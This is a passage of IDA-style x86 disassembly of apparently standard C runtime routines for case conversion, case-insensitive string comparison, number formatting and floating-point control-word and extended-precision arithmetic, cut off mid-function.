					; sub_426D1E+3Ep ...

var_4		= byte ptr -4
var_3		= byte ptr -3
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		cmp	dword ptr [esi+14h], 0
		push	edi
		jz	loc_42697D
		cmp	dword ptr [esi+24h], 0
		jz	short loc_4268EF
		cmp	ebx, 7Fh
		jbe	loc_42697D

loc_4268EF:				; CODE XREF: sub_4268C9+1Bj
		xor	edi, edi
		inc	edi
		cmp	ebx, 100h
		jnb	short loc_426919
		cmp	[esi+28h], edi
		jle	short loc_42690C
		push	edi
		push	ebx
		push	esi
		call	sub_42013A
		add	esp, 0Ch
		jmp	short loc_426915
; ---------------------------------------------------------------------------

loc_42690C:				; CODE XREF: sub_4268C9+34j
		mov	eax, [esi+48h]
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, edi

loc_426915:				; CODE XREF: sub_4268C9+41j
		test	eax, eax
		jz	short loc_42698A

loc_426919:				; CODE XREF: sub_4268C9+2Fj
		mov	edx, [esi+48h]
		mov	eax, ebx
		sar	eax, 8
		movzx	ecx, al
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_42693A
		push	2
		mov	byte ptr [ebp+arg_0], al
		mov	byte ptr [ebp+arg_0+1],	bl
		mov	byte ptr [ebp+arg_0+2],	0
		pop	eax
		jmp	short loc_426943
; ---------------------------------------------------------------------------

loc_42693A:				; CODE XREF: sub_4268C9+60j
		mov	byte ptr [ebp+arg_0], bl
		mov	byte ptr [ebp+arg_0+1],	0
		mov	eax, edi

loc_426943:				; CODE XREF: sub_4268C9+6Fj
		push	edi
		push	dword ptr [esi+4]
		lea	ecx, [ebp+var_4]
		push	3
		push	ecx
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		push	100h
		push	dword ptr [esi+14h]
		call	sub_421354
		add	esp, 20h
		test	eax, eax
		jz	short loc_42698A
		cmp	eax, edi
		jnz	short loc_426970
		movzx	eax, [ebp+var_4]
		jmp	short loc_42698C
; ---------------------------------------------------------------------------

loc_426970:				; CODE XREF: sub_4268C9+9Fj
		movzx	ecx, [ebp+var_3]
		xor	eax, eax
		mov	ah, [ebp+var_4]
		or	eax, ecx
		jmp	short loc_42698C
; ---------------------------------------------------------------------------

loc_42697D:				; CODE XREF: sub_4268C9+11j
					; sub_4268C9+20j
		cmp	ebx, 41h
		jl	short loc_42698A
		cmp	ebx, 5Ah
		lea	eax, [ebx+20h]
		jle	short loc_42698C

loc_42698A:				; CODE XREF: sub_4268C9+4Ej
					; sub_4268C9+9Bj ...
		mov	eax, ebx

loc_42698C:				; CODE XREF: sub_4268C9+A5j
					; sub_4268C9+B2j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4268C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_426991	proc near		; CODE XREF: sub_42393A+9p

arg_0		= dword	ptr  4

		call	sub_4203B6
		mov	eax, [eax+64h]
		cmp	eax, ds:off_433444
		jz	short loc_4269A6
		call	sub_420342

loc_4269A6:				; CODE XREF: sub_426991+Ej
		push	[esp+arg_0]
		push	eax
		call	sub_4268C9
		pop	ecx
		pop	ecx
		retn
sub_426991	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4269B3	proc near		; CODE XREF: sub_423AE4+48p
					; sub_423BEC+3Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		mov	ecx, [edx+0Ch]
		push	ebx
		mov	ebx, [ebp+arg_4]
		test	ebx, ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		mov	eax, edi
		jle	short loc_4269F0
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_4269D6:				; CODE XREF: sub_4269B3+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4269E2
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4269E5
; ---------------------------------------------------------------------------

loc_4269E2:				; CODE XREF: sub_4269B3+27j
		push	30h
		pop	edx

loc_4269E5:				; CODE XREF: sub_4269B3+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4269D6
		mov	edx, [ebp+arg_8]

loc_4269F0:				; CODE XREF: sub_4269B3+1Cj
		test	ebx, ebx
		mov	byte ptr [eax],	0
		jl	short loc_426A09
		cmp	byte ptr [ecx],	35h
		jl	short loc_426A09
		jmp	short loc_426A01
; ---------------------------------------------------------------------------

loc_4269FE:				; CODE XREF: sub_4269B3+52j
		mov	byte ptr [eax],	30h

loc_426A01:				; CODE XREF: sub_4269B3+49j
		dec	eax
		cmp	byte ptr [eax],	39h
		jz	short loc_4269FE
		inc	byte ptr [eax]

loc_426A09:				; CODE XREF: sub_4269B3+42j
					; sub_4269B3+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_426A13
		inc	dword ptr [edx+4]
		jmp	short loc_426A25
; ---------------------------------------------------------------------------

loc_426A13:				; CODE XREF: sub_4269B3+59j
		push	edi
		call	sub_41C350
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41BFA0
		add	esp, 10h

loc_426A25:				; CODE XREF: sub_4269B3+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4269B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426A2A	proc near		; CODE XREF: sub_426AE4+18p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		xor	eax, eax
		mov	ax, [edx+6]
		push	ebx
		push	esi
		push	edi
		mov	edi, 7FFh
		mov	esi, 80000000h
		mov	[ebp+var_4], esi
		mov	ecx, eax
		shr	ecx, 4
		and	eax, 8000h
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		and	eax, 0FFFFFh
		test	ebx, ebx
		jz	short loc_426A7A
		cmp	ebx, edi
		jz	short loc_426A73
		lea	edi, [ecx+3C00h]
		jmp	short loc_426A9B
; ---------------------------------------------------------------------------

loc_426A73:				; CODE XREF: sub_426A2A+3Fj
		mov	edi, 7FFFh
		jmp	short loc_426A9B
; ---------------------------------------------------------------------------

loc_426A7A:				; CODE XREF: sub_426A2A+3Bj
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_426A92
		cmp	edx, ebx
		jnz	short loc_426A92
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_426ADF
; ---------------------------------------------------------------------------

loc_426A92:				; CODE XREF: sub_426A2A+54j
					; sub_426A2A+58j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_426A9B:				; CODE XREF: sub_426A2A+47j
					; sub_426A2A+4Ej
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		or	ecx, [ebp+var_4]
		mov	eax, [ebp+arg_0]
		shl	edx, 0Bh
		test	ecx, esi
		mov	[eax+4], ecx
		mov	[eax], edx
		jnz	short loc_426AD6

loc_426AB7:				; CODE XREF: sub_426A2A+AAj
		mov	ecx, [eax]
		mov	edx, [eax+4]
		mov	ebx, ecx
		shl	edx, 1
		shr	ebx, 1Fh
		or	edx, ebx
		add	ecx, ecx
		add	edi, 0FFFFh
		test	edx, esi
		mov	[eax+4], edx
		mov	[eax], ecx
		jz	short loc_426AB7

loc_426AD6:				; CODE XREF: sub_426A2A+8Bj
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_426ADF:				; CODE XREF: sub_426A2A+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_426A2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426AE4	proc near		; CODE XREF: sub_423AE4+20p
					; sub_423BEC+1Fp ...

var_2C		= word ptr -2Ch
var_2A		= byte ptr -2Ah
var_28		= byte ptr -28h
var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		mov	eax, ds:dword_433148
		mov	[ebp+var_4], eax
		push	esi
		push	edi
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426A2A
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_2C]
		push	eax
		push	0
		push	11h
		sub	esp, 0Ch
		lea	esi, [ebp+var_10]
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_42740A
		mov	esi, [ebp+arg_8]
		mov	edi, [ebp+arg_C]
		mov	[esi+8], eax
		movsx	eax, [ebp+var_2A]
		mov	[esi], eax
		movsx	eax, [ebp+var_2C]
		mov	[esi+4], eax
		lea	eax, [ebp+var_28]
		push	eax
		push	edi
		call	sub_41C930
		mov	ecx, [ebp+var_4]
		add	esp, 20h
		mov	[esi+0Ch], edi
		mov	eax, esi
		call	sub_41E5BB
		pop	edi
		pop	esi
		leave
		retn
sub_426AE4	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DC6D
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_426B59	proc near		; CODE XREF: sub_426C79+Cp
		xor	eax, eax
		test	bl, 1
		jz	short loc_426B63
		push	10h
		pop	eax

loc_426B63:				; CODE XREF: sub_426B59+5j
		test	bl, 4
		jz	short loc_426B6B
		or	eax, 8

loc_426B6B:				; CODE XREF: sub_426B59+Dj
		test	bl, 8
		jz	short loc_426B73
		or	eax, 4

loc_426B73:				; CODE XREF: sub_426B59+15j
		test	bl, 10h
		jz	short loc_426B7B
		or	eax, 2

loc_426B7B:				; CODE XREF: sub_426B59+1Dj
		test	bl, 20h
		jz	short loc_426B83
		or	eax, 1

loc_426B83:				; CODE XREF: sub_426B59+25j
		test	bl, 2
		jz	short loc_426B8D
		or	eax, 80000h

loc_426B8D:				; CODE XREF: sub_426B59+2Dj
		push	ebp
		movzx	edx, bx
		push	esi
		mov	ecx, edx
		mov	esi, 0C00h
		and	ecx, esi
		push	edi
		mov	edi, 300h
		mov	ebp, 200h
		jz	short loc_426BC9
		cmp	ecx, 400h
		jz	short loc_426BC4
		cmp	ecx, 800h
		jz	short loc_426BC0
		cmp	ecx, esi
		jnz	short loc_426BC9
		or	eax, edi
		jmp	short loc_426BC9
; ---------------------------------------------------------------------------

loc_426BC0:				; CODE XREF: sub_426B59+5Dj
		or	eax, ebp
		jmp	short loc_426BC9
; ---------------------------------------------------------------------------

loc_426BC4:				; CODE XREF: sub_426B59+55j
		or	eax, 100h

loc_426BC9:				; CODE XREF: sub_426B59+4Dj
					; sub_426B59+61j ...
		and	edx, edi
		jz	short loc_426BD8
		cmp	edx, ebp
		jnz	short loc_426BDD
		or	eax, 10000h
		jmp	short loc_426BDD
; ---------------------------------------------------------------------------

loc_426BD8:				; CODE XREF: sub_426B59+72j
		or	eax, 20000h

loc_426BDD:				; CODE XREF: sub_426B59+76j
					; sub_426B59+7Dj
		test	bh, 10h
		pop	edi
		pop	esi
		pop	ebp
		jz	short locret_426BEA
		or	eax, 40000h

locret_426BEA:				; CODE XREF: sub_426B59+8Aj
		retn
sub_426B59	endp


; =============== S U B	R O U T	I N E =======================================



sub_426BEB	proc near		; CODE XREF: sub_426C79+22p
		xor	eax, eax
		test	bl, 10h
		jz	short loc_426BF3
		inc	eax

loc_426BF3:				; CODE XREF: sub_426BEB+5j
		test	bl, 8
		jz	short loc_426BFB
		or	eax, 4

loc_426BFB:				; CODE XREF: sub_426BEB+Bj
		test	bl, 4
		jz	short loc_426C03
		or	eax, 8

loc_426C03:				; CODE XREF: sub_426BEB+13j
		test	bl, 2
		jz	short loc_426C0B
		or	eax, 10h

loc_426C0B:				; CODE XREF: sub_426BEB+1Bj
		test	bl, 1
		jz	short loc_426C13
		or	eax, 20h

loc_426C13:				; CODE XREF: sub_426BEB+23j
		test	ebx, 80000h
		jz	short loc_426C1E
		or	eax, 2

loc_426C1E:				; CODE XREF: sub_426BEB+2Ej
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		push	esi
		mov	esi, 200h
		jz	short loc_426C52
		cmp	ecx, 100h
		jz	short loc_426C4D
		cmp	ecx, esi
		jz	short loc_426C46
		cmp	ecx, edx
		jnz	short loc_426C52
		or	eax, 0C00h
		jmp	short loc_426C52
; ---------------------------------------------------------------------------

loc_426C46:				; CODE XREF: sub_426BEB+4Ej
		or	eax, 800h
		jmp	short loc_426C52
; ---------------------------------------------------------------------------

loc_426C4D:				; CODE XREF: sub_426BEB+4Aj
		or	eax, 400h

loc_426C52:				; CODE XREF: sub_426BEB+42j
					; sub_426BEB+52j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_426C68
		cmp	ecx, 10000h
		jnz	short loc_426C6A
		or	eax, esi
		jmp	short loc_426C6A
; ---------------------------------------------------------------------------

loc_426C68:				; CODE XREF: sub_426BEB+6Fj
		or	eax, edx

loc_426C6A:				; CODE XREF: sub_426BEB+77j
					; sub_426BEB+7Bj
		test	ebx, 40000h
		pop	esi
		jz	short locret_426C78
		or	eax, 1000h

locret_426C78:				; CODE XREF: sub_426BEB+86j
		retn
sub_426BEB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426C79	proc near		; CODE XREF: sub_426CAB+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		fstcw	word ptr [ebp+var_4]
		mov	ebx, [ebp+var_4]
		call	sub_426B59
		mov	ebx, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	ebx, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	ebx, eax
		call	sub_426BEB
		mov	[ebp+arg_4], eax
		fldcw	word ptr [ebp+arg_4]
		mov	eax, ebx
		pop	ebx
		leave
		retn
sub_426C79	endp


; =============== S U B	R O U T	I N E =======================================



sub_426CAB	proc near		; CODE XREF: sub_423D39+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_426C79
		pop	ecx
		pop	ecx
		retn
sub_426CAB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426CD0	proc near		; CODE XREF: sub_426D1E+28p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		mov	al, 0FFh
		mov	edi, edi

loc_426CE0:				; CODE XREF: sub_426CD0+20j
					; sub_426CD0+40j
		or	al, al
		jz	short loc_426D16
		mov	al, [esi]
		add	esi, 1
		mov	ah, [edi]
		add	edi, 1
		cmp	ah, al
		jz	short loc_426CE0
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_426CE0
		sbb	al, al
		sbb	al, 0FFh

loc_426D16:				; CODE XREF: sub_426CD0+12j
		movsx	eax, al
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_426CD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426D1E	proc near		; CODE XREF: sub_4013EC+1C0p
					; sub_4013EC+1D4p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		call	sub_4203B6
		mov	ebx, [eax+64h]
		cmp	ebx, ds:off_433444
		jz	short loc_426D3A
		call	sub_420342
		mov	ebx, eax

loc_426D3A:				; CODE XREF: sub_426D1E+13j
		cmp	dword ptr [ebx+14h], 0
		jnz	short loc_426D4F
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426CD0
		pop	ecx
		pop	ecx
		jmp	short loc_426D84
; ---------------------------------------------------------------------------

loc_426D4F:				; CODE XREF: sub_426D1E+20j
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]

loc_426D57:				; CODE XREF: sub_426D1E+60j
		movzx	eax, byte ptr [esi]
		push	eax
		push	ebx
		call	sub_4268C9
		mov	[ebp+var_4], eax
		movzx	eax, byte ptr [edi]
		push	eax
		push	ebx
		inc	esi
		call	sub_4268C9
		add	esp, 10h
		mov	ecx, eax
		mov	eax, [ebp+var_4]
		inc	edi
		test	eax, eax
		jz	short loc_426D80
		cmp	eax, ecx
		jz	short loc_426D57

loc_426D80:				; CODE XREF: sub_426D1E+5Cj
		pop	edi
		sub	eax, ecx
		pop	esi

loc_426D84:				; CODE XREF: sub_426D1E+2Fj
		pop	ebx
		leave
		retn
sub_426D1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_426D87	proc near		; CODE XREF: sub_425DC0+23p
					; sub_425DC0+3Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		lea	ecx, [edx+esi]
		xor	eax, eax
		cmp	ecx, edx
		jb	short loc_426D9D
		cmp	ecx, esi
		jnb	short loc_426DA0

loc_426D9D:				; CODE XREF: sub_426D87+10j
		xor	eax, eax
		inc	eax

loc_426DA0:				; CODE XREF: sub_426D87+14j
		mov	edx, [esp+4+arg_8]
		mov	[edx], ecx
		pop	esi
		retn
sub_426D87	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DA8	proc near		; CODE XREF: sub_426E61+48p
					; sub_426E61+69p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_426D87
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_426DDA
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_426D87
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_426DDA
		inc	dword ptr [esi+8]

loc_426DDA:				; CODE XREF: sub_426DA8+19j
					; sub_426DA8+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_426D87
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_426DF2
		inc	dword ptr [esi+8]

loc_426DF2:				; CODE XREF: sub_426DA8+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_426D87
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_426DA8	endp


; =============== S U B	R O U T	I N E =======================================



sub_426E06	proc near		; CODE XREF: sub_426E61+38p
					; sub_426E61+3Ep ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, [eax]
		mov	ecx, esi
		add	esi, esi
		push	edi
		mov	edi, [eax+4]
		shr	ecx, 1Fh
		mov	[eax], esi
		lea	esi, [edi+edi]
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+4], esi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_426E06	endp


; =============== S U B	R O U T	I N E =======================================



sub_426E34	proc near		; CODE XREF: sub_426F3F+187p
					; sub_42740A+1BEp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		shr	ecx, 1
		shl	esi, 1Fh
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		or	ecx, edi
		shr	edx, 1
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_426E34	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426E61	proc near		; CODE XREF: sub_42612C+35Fp

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, ds:dword_433148
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_4]
		cmp	eax, edx
		push	esi
		push	edi
		mov	[ebp+var_14], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_426EDC
		mov	[ebp+arg_8], eax

loc_426E90:				; CODE XREF: sub_426E61+77j
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_426E06
		push	ebx
		call	sub_426E06
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_426DA8
		push	ebx
		call	sub_426E06
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [eax]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_426DA8
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_426E90
		xor	edx, edx

loc_426EDC:				; CODE XREF: sub_426E61+2Aj
		cmp	[ebx+8], edx
		jnz	short loc_426F10
		mov	edi, [ebx+8]

loc_426EE4:				; CODE XREF: sub_426E61+AAj
		mov	ecx, [ebx+4]
		add	[ebp+var_14], 0FFF0h
		mov	eax, ecx
		shr	eax, 10h
		mov	edi, eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		cmp	edi, edx
		mov	[ebx+4], esi
		mov	[ebx], eax
		jz	short loc_426EE4
		mov	[ebx+8], edi

loc_426F10:				; CODE XREF: sub_426E61+7Ej
		mov	esi, 8000h
		jmp	short loc_426F25
; ---------------------------------------------------------------------------

loc_426F17:				; CODE XREF: sub_426E61+C7j
		push	ebx
		call	sub_426E06
		add	[ebp+var_14], 0FFFFh
		pop	ecx

loc_426F25:				; CODE XREF: sub_426E61+B4j
		test	[ebx+8], esi
		jz	short loc_426F17
		mov	ax, word ptr [ebp+var_14]
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		call	sub_41E5BB
		leave
		retn
sub_426E61	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426F3F	proc near		; CODE XREF: sub_427171+6Bp
					; sub_42740A+15Ap

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		mov	eax, ds:dword_433148
		push	ebx
		mov	ebx, [ebp+arg_4]
		mov	[ebp+var_4], eax
		xor	eax, eax
		xor	ecx, ecx
		mov	cx, [ebx+0Ah]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	ax, [esi+0Ah]
		push	edi
		mov	edi, ecx
		mov	edx, 7FFFh
		and	ecx, edx
		xor	edi, eax
		and	eax, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_427149
		cmp	cx, 7FFFh
		jnb	loc_427149
		cmp	dx, 0BFFDh
		ja	loc_427149
		cmp	dx, 3FBFh
		ja	short loc_426FB2
		xor	eax, eax
		jmp	short loc_426FEC
; ---------------------------------------------------------------------------

loc_426FB2:				; CODE XREF: sub_426F3F+6Dj
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_426FD4
		inc	[ebp+arg_0]
		xor	eax, eax
		test	[esi+8], edx
		jnz	short loc_426FD6
		cmp	[esi+4], eax
		jnz	short loc_426FD6
		cmp	[esi], eax
		jnz	short loc_426FD6
		jmp	loc_427143
; ---------------------------------------------------------------------------

loc_426FD4:				; CODE XREF: sub_426F3F+7Bj
		xor	eax, eax

loc_426FD6:				; CODE XREF: sub_426F3F+85j
					; sub_426F3F+8Aj ...
		cmp	cx, ax
		jnz	short loc_426FF9
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_426FF9
		cmp	[ebx+4], eax
		jnz	short loc_426FF9
		cmp	[ebx], eax
		jnz	short loc_426FF9

loc_426FEC:				; CODE XREF: sub_426F3F+71j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_427164
; ---------------------------------------------------------------------------

loc_426FF9:				; CODE XREF: sub_426F3F+9Aj
					; sub_426F3F+A2j ...
		mov	[ebp+var_18], eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_14], eax
		mov	[ebp+arg_4], 5

loc_427009:				; CODE XREF: sub_426F3F+12Cj
		mov	eax, [ebp+var_18]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_42705D
		add	eax, esi
		mov	[ebp+var_24], eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [ebx+8]
		mov	[ebp+var_20], ecx
		mov	[ebp+var_28], eax

loc_427025:				; CODE XREF: sub_426F3F+11Cj
		mov	eax, [ebp+var_20]
		mov	ecx, [ebp+var_24]
		movzx	ecx, word ptr [ecx]
		movzx	eax, word ptr [eax]
		imul	eax, ecx
		mov	ecx, [ebp+var_14]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_426D87
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_427050
		mov	eax, [ebp+var_14]
		inc	word ptr [eax]

loc_427050:				; CODE XREF: sub_426F3F+109j
		add	[ebp+var_24], 2
		sub	[ebp+var_20], 2
		dec	[ebp+var_28]
		jnz	short loc_427025

loc_42705D:				; CODE XREF: sub_426F3F+D3j
		add	[ebp+var_14], 2
		inc	[ebp+var_18]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_427009
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_4270A0

loc_42707B:				; CODE XREF: sub_426F3F+158j
		test	byte ptr [ebp+var_8+3],	80h
		jnz	short loc_427099
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426E06
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		pop	ecx
		jg	short loc_42707B

loc_427099:				; CODE XREF: sub_426F3F+140j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_4270D9

loc_4270A0:				; CODE XREF: sub_426F3F+13Aj
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_4270D9
		mov	eax, [ebp+arg_0]
		neg	eax
		movzx	ebx, ax
		add	[ebp+arg_0], ebx

loc_4270B9:				; CODE XREF: sub_426F3F+18Ej
		test	byte ptr [ebp+var_10], 1
		jz	short loc_4270C2
		inc	[ebp+var_1C]

loc_4270C2:				; CODE XREF: sub_426F3F+17Ej
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_426E34
		dec	ebx
		pop	ecx
		jnz	short loc_4270B9
		cmp	[ebp+var_1C], 0
		jz	short loc_4270D9
		or	byte ptr [ebp+var_10], 1

loc_4270D9:				; CODE XREF: sub_426F3F+15Fj
					; sub_426F3F+16Dj ...
		cmp	word ptr [ebp+var_10], 8000h
		ja	short loc_4270F0
		mov	eax, [ebp+var_10]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_427125

loc_4270F0:				; CODE XREF: sub_426F3F+1A0j
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_427122
		and	[ebp+var_10+2],	0
		cmp	[ebp+var_C+2], 0FFFFFFFFh
		jnz	short loc_42711D
		and	[ebp+var_C+2], 0
		cmp	word ptr [ebp+var_8+2],	0FFFFh
		jnz	short loc_427117
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_8+2],	8000h
		jmp	short loc_427125
; ---------------------------------------------------------------------------

loc_427117:				; CODE XREF: sub_426F3F+1CBj
		inc	word ptr [ebp+var_8+2]
		jmp	short loc_427125
; ---------------------------------------------------------------------------

loc_42711D:				; CODE XREF: sub_426F3F+1BFj
		inc	[ebp+var_C+2]
		jmp	short loc_427125
; ---------------------------------------------------------------------------

loc_427122:				; CODE XREF: sub_426F3F+1B5j
		inc	[ebp+var_10+2]

loc_427125:				; CODE XREF: sub_426F3F+1AFj
					; sub_426F3F+1D6j ...
